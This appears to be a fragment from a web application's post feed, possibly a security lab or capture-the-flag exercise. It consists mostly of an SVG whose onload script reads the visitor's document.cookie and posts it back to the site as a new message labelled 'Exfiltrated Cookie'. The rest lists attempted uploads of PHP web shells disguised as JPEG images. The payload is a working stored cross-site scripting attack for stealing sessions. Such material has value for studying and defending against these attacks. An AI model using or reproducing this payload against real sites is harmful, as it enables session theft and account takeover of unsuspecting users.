<svg xmlns="http://www.w3.org/2000/svg" onload="var postData = new URLSearchParams(); postData.append('postContent', 'Exfiltrated Cookie: ' + document.cookie); postData.append('createPost', 'Publier'); fetch('/', { method: 'POST', body: postData, credentials: 'include' });"><rect width="100" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /></svg>
My test shell upload attempt
π shell.jpg (0 Mo)
My PHP shell upload (JPEG)
π shell.jpeg (0 Mo)